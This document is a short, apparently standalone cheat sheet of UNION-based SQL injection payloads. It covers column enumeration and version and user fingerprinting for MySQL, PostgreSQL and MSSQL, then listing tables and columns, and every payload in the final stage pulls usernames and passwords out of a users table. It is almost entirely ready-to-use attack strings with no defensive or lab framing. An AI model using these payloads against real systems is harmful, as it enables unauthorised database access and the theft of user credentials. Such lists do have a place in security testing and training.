UNION-Based

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
...

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

' UNION SELECT 1,2,3,4-- -
' UNION SELECT 'a','b','c','d'-- -

' UNION SELECT 1,database(),3-- -           # MySQL
' UNION SELECT 1,current_database(),3-- -   # PostgreSQL
' UNION SELECT 1,db_name(),3-- -            # MSSQL

' UNION SELECT 1,user(),3-- -               # MySQL
' UNION SELECT 1,current_user,3-- -         # PostgreSQL
' UNION SELECT 1,system_user,3-- -          # MSSQL

' UNION SELECT 1,@@version,3-- -            # MySQL/MSSQL
' UNION SELECT 1,version(),3-- -            # PostgreSQL

' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -

' UNION SELECT 1,string_agg(table_name,','),3 FROM information_schema.tables WHERE table_schema='public'-- -

' UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'-- -

' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -

' UNION SELECT 1,string_agg(column_name,','),3 FROM information_schema.columns WHERE table_name='users'-- -

' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -

' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -
' UNION SELECT 1,group_concat(username,':',password SEPARATOR '<br>'),3 FROM users-- -

' UNION SELECT 1,string_agg(username||':'||password,','),3 FROM users-- -

' UNION SELECT 1,username+':'+password,3 FROM users-- -

' UNION SELECT 1,concat(username,0x3a,password),3 FROM users-- -
' UNION SELECT 1,username||':'||password,3 FROM users-- -

' UNION SELECT 1,2,3-- -           # Works
' UNION SELECT 'a',2,3-- -         # May fail

# Cast if needed
' UNION SELECT CAST('test' AS int),2,3-- -